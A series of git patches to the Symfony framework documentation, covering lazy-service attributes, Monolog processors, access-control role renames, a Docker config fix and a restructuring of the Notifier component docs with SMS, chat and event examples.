+    use Twig\Extension\ExtensionInterface;
+
+    #[Autoconfigure(lazy: true)]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
+    was introduced in Symfony 5.4.
+
 Interface Proxifying
 --------------------
 
@@ -159,6 +181,27 @@ specific interfaces.
             ;
         };
 
+Just like in the :ref:`Configuration <lazy-services_configuration>` section, you can
+use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure`
+attribute to configure the interface to proxify by passing its FQCN as the ``lazy``
+parameter value::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Autoconfigure(lazy: ExtensionInterface::class)]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
+    was introduced in Symfony 5.4.
+
 The virtual `proxy`_ injected into other services will only implement the
 specified interfaces and will not extend the original service class, allowing to
 lazy load services using `final`_ classes. You can configure the proxy to

From 2dfba6bfd929c27be3386aefa862fbf1cb4fa0ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 12:27:59 +0100
Subject: [PATCH 2808/5766] [Form] Fix alphabetical order of imports

---
 components/form.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 882e720f357..ef1e1ed609c 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -579,10 +579,10 @@ method:
 
     .. code-block:: php-standalone
 
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\HttpFoundation\RedirectResponse;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\RedirectResponse;
+        use Symfony\Component\HttpFoundation\Request;
 
         // ...
 

From c53ad3164d604e35e61f83ab0619db47bfb18e21 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 16:46:44 +0100
Subject: [PATCH 2809/5766] [Logging] Mention `#[AsMonologProcessor]`

---
 logging/processors.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/logging/processors.rst b/logging/processors.rst
index 76cb497fd70..8e67634ccd0 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -164,6 +164,30 @@ If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally
 (see the following sections).
 
+When registering a new processor, instead of adding the tag manually in your
+configuration files, you can take full advantage of the ``#[AsMonologProcessor]``
+attribute by using it one the processor class::
+
+    // src/Logger/SessionRequestProcessor.php
+    namespace App\Logger;
+
+    use Monolog\Attribute\AsMonologProcessor;
+    // ...
+
+    #[AsMonologProcessor]
+    class SessionRequestProcessor
+    {
+        // ...
+    }
+
+The ``#[AsMonologProcessor]`` attribute takes 3 optional arguments:
+
+* ``channel``: the logging channel the processor should be pushed to
+* ``handler``: the handler the processor should be pushed to
+* ``method``: the method that processes the records (if the attribute is used
+  at the class level). Indeed, the attribute can also be used directly
+  on a class method.
+
 Symfony's MonologBridge provides processors that can be registered inside your application.
 
 :class:`Symfony\\Bridge\\Monolog\\Processor\\DebugProcessor`

From 8547d282c5f47e8c95229422e997cbdc9f391d48 Mon Sep 17 00:00:00 2001
From: Ramzi ABDELAZIZ <ramzii.abdelaziz@gmail.com>
Date: Sun, 22 Jan 2023 20:25:17 +0100
Subject: [PATCH 2810/5766] Replacing deprecated role:
 IS_AUTHENTICATED_ANONYMOUSLY

Replacing deprecated role: IS_AUTHENTICATED_ANONYMOUSLY
---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 948825e64fd..680c79b0840 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -240,7 +240,7 @@ pattern so that it is only accessible by requests from the local server itself:
             access_control:
                 #
                 # the 'ips' option supports IP addresses and subnet masks
-                - { path: '^/internal', roles: IS_AUTHENTICATED_ANONYMOUSLY, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
+                - { path: '^/internal', roles: PUBLIC_ACCESS, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
                 - { path: '^/internal', roles: ROLE_NO_ACCESS }
 
     .. code-block:: xml
@@ -259,7 +259,7 @@ pattern so that it is only accessible by requests from the local server itself:
                 <!-- ... -->
 
                 <!-- the 'ips' option supports IP addresses and subnet masks -->
-                <rule path="^/internal" role="IS_AUTHENTICATED_ANONYMOUSLY">
+                <rule path="^/internal" role="PUBLIC_ACCESS">
                     <ip>127.0.0.1</ip>
                     <ip>::1</ip>
                 </rule>
@@ -278,7 +278,7 @@ pattern so that it is only accessible by requests from the local server itself:
 
             $security->accessControl()
                 ->path('^/internal')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 // the 'ips' option supports IP addresses and subnet masks
                 ->ips(['127.0.0.1', '::1'])
             ;
@@ -306,7 +306,7 @@ address):
 
 * Now, the first access control rule is enabled as both the ``path`` and the
   ``ip`` match: access is allowed as the user always has the
-  ``IS_AUTHENTICATED_ANONYMOUSLY`` role.
+  ``PUBLIC_ACCESS`` role.
 
 * The second access rule is not examined as the first rule matched.
 
@@ -411,7 +411,7 @@ access those URLs via a specific port. This could be useful for example for
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, port: 8080 }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, port: 8080 }
 
     .. code-block:: xml
 
@@ -428,7 +428,7 @@ access those URLs via a specific port. This could be useful for example for
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     port="8080"
                 />
             </config>
@@ -444,7 +444,7 @@ access those URLs via a specific port. This could be useful for example for
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->port(8080)
             ;
         };
@@ -465,7 +465,7 @@ the user will be redirected to ``https``:
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, requires_channel: https }
 
     .. code-block:: xml
 
@@ -482,7 +482,7 @@ the user will be redirected to ``https``:
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     requires-channel="https"
                 />
             </config>
@@ -498,7 +498,7 @@ the user will be redirected to ``https``:
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->requiresChannel('https')
             ;
         };

From 2f8d9d48b27407857bb83fe335cb165726ae3e9a Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Mon, 23 Jan 2023 11:34:55 +0100
Subject: [PATCH 2811/5766] [docker] fix composer `extra` variable name

---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index d3d51cb781f..cc6b4f6ebf6 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -26,7 +26,7 @@ your ``docker-compose.yml`` file will automatically be updated to include a
 
 The first time you install a recipe containing Docker config, Flex will ask you
 if you want to include it. Or, you can set your preference in ``composer.json``,
-by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+by setting the ``extra.symfony.docker`` config to ``true`` or ``false``.
 
 Some recipes also include additions to your ``Dockerfile``. To get those changes,
 you need to already have a ``Dockerfile`` at the root of your app *with* the

From cedce3617143f8a603fef210a5a7d3500cccf84d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 11:56:46 +0100
Subject: [PATCH 2812/5766] Tweak

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 28c11f60fa4..507be3d2f1a 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -105,7 +105,7 @@ To check if your proxy works you can check the interface of the received object:
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
-The attribute has to be used like this::
+For example, to define your service as lazy use the following::
 
     namespace App\Twig;
 

From 8fd6472d3d0363ac6ea600c05112556daeeb347c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 20:11:51 +0100
Subject: [PATCH 2813/5766] [Notifier] Notifier docs merge

---
 _build/redirection_map |   3 +
 notifier.rst           | 203 ++++++++++++++++---
 notifier/chatters.rst  | 430 -----------------------------------------
 notifier/discord.rst   |  58 ++++++
 notifier/events.rst    |  79 --------
 notifier/slack.rst     | 206 ++++++++++++++++++++
 notifier/teams.rst     |  99 ++++++++++
 notifier/telegram.rst  |  39 ++++
 notifier/texters.rst   |  52 -----
 9 files changed, 579 insertions(+), 590 deletions(-)
 delete mode 100644 notifier/chatters.rst
 create mode 100644 notifier/discord.rst
 delete mode 100644 notifier/events.rst
 create mode 100644 notifier/slack.rst
 create mode 100644 notifier/teams.rst
 create mode 100644 notifier/telegram.rst
 delete mode 100644 notifier/texters.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 764f690c213..c58e85b6c23 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -540,3 +540,6 @@
 /components/yaml/yaml_format /components/yaml#yaml-format
 /components/expression_language/syntax /components/expression_language#expression-language-syntax
 /components/expression_language/extending /components/expression_language#expression-language-extending
+/notifier/chatters /notifier#sending-chat-messages
+/notifier/texters /notifier#sending-sms
+/notifier/events /notifier#notifier-events
diff --git a/notifier.rst b/notifier.rst
index 4455fb563dc..0590c5ae4b6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -46,7 +46,6 @@ The notifier component supports the following channels:
     API's tokens.
 
 .. _notifier-sms-channel:
-.. _notifier-texter-dsn:
 
 SMS Channel
 ~~~~~~~~~~~
@@ -169,8 +168,47 @@ configure the ``texter_transports``:
             ;
         };
 
+.. _sending-sms:
+
+The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows you to
+send SMS messages::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    use Symfony\Component\Notifier\Message\SmsMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class SecurityController
+    {
+        /**
+         * @Route("/login/success")
+         */
+        public function loginSuccess(TexterInterface $texter)
+        {
+            $sms = new SmsMessage(
+                // the phone number to send the SMS message to
+                '+1411111111',
+                // the message
+                'A new login was detected!'
+            );
+
+            $sentMessage = $texter->send($sms);
+
+            // ...
+        }
+    }
+
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
+.. versionadded:: 5.2
+
+    The ``SentMessage`` class was introduced in Symfony 5.2.
+
 .. _notifier-chat-channel:
-.. _notifier-chatter-dsn:
 
 Chat Channel
 ~~~~~~~~~~~~
@@ -186,24 +224,24 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  =============================================================================
-Service         Package                               DSN
-==============  ====================================  =============================================================================
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
-Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  =============================================================================
+======================================  ====================================  =============================================================================
+Service                                 Package                               DSN
+======================================  ====================================  =============================================================================
+AmazonSns                               ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+:doc:`Discord <notifier/discord>`       ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat                                ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+Firebase                                ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter                                  ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat                              ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn                                ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost                              ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure                                 ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+:doc:`MicrosoftTeams <notifier/teams>`  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat                              ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+:doc:`Slack <notifier/slack>`           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+:doc:`Telegram <notifier/telegram>`     ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip                                   ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -273,6 +311,41 @@ Chatters are configured using the ``chatter_transports`` setting:
             ;
         };
 
+.. _sending-chat-messages:
+
+The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
+you to send messages to chat services::
+
+    // src/Controller/CheckoutController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Notifier\ChatterInterface;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class CheckoutController extends AbstractController
+    {
+        /**
+         * @Route("/checkout/thankyou")
+         */
+        public function thankyou(ChatterInterface $chatter)
+        {
+            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
+                // if not set explicitly, the message is send to the
+                // default transport (the first one configured)
+                ->transport('slack');
+
+            $sentMessage = $chatter->send($message);
+
+            // ...
+        }
+    }
+
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
 .. _notifier-email-channel:
 
 Email Channel
@@ -750,18 +823,90 @@ all configured texter and chatter transports only in the ``dev`` (and/or
             chatter_transports:
                 slack: 'null://null'
 
+.. _notifier-events:
+
+.. index::
+    single: Notifier; Events
+
+Using Events
+------------
+
+.. versionadded:: 5.4
+
+    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
+    introduced in Symfony 5.4.
+
+The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+allows you to optionally hook into the lifecycle via events.
+
+The ``MessageEvent::class`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: Doing something before the message is send (like logging
+which message is going to be send, or displaying something about the event
+to be executed.
+
+Just before send the message, the event class ``MessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\MessageEvent;
+
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // log something
+        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+    });
+
+The ``FailedMessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+
+Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
+dispatched. A listener can do anything useful before the exception is thrown.
+
+Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\FailedMessageEvent;
+
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // gets the error instance
+        $error = $event->getError();
+
+        // log something
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+    });
+
+The ``SentMessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
+when the message is sent).
+
+After the message has been successfully sent, the event class ``SentMessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\SentMessageEvent;
+
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getOriginalMessage();
+
+        // log something
+        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+    });
+
 .. TODO
 ..    - Using the message bus for asynchronous notification
 ..    - Describe notifier monolog handler
 ..    - Describe notification_on_failed_messages integration
 
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    notifier/*
-
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
deleted file mode 100644
index bc1a4da1914..00000000000
--- a/notifier/chatters.rst
+++ /dev/null
@@ -1,430 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-How to send Chat Messages
-=========================
-
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
-The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
-you to send messages to chat services like Slack or Telegram::
-
-    // src/Controller/CheckoutController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Notifier\ChatterInterface;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class CheckoutController extends AbstractController
-    {
-        /**
-         * @Route("/checkout/thankyou")
-         */
-        public function thankyou(ChatterInterface $chatter)
-        {
-            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
-                // default transport (the first one configured)
-                ->transport('slack');
-
-            $sentMessage = $chatter->send($message);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
-    to configure the different transports.
-
-Adding Interactions to a Slack Message
---------------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Slack Message
--------------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
-Adding a Header to a Slack Message
-----------------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
-Adding a Footer to a Slack Message
-----------------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
-Sending a Slack Message as a Reply
-----------------------------------
-
-To send your slack message as a reply in a thread use the
-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
-Adding Interactions to a Discord Message
-----------------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Interactions to a Telegram Message
------------------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-Adding text to a Microsoft Teams Message
-----------------------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
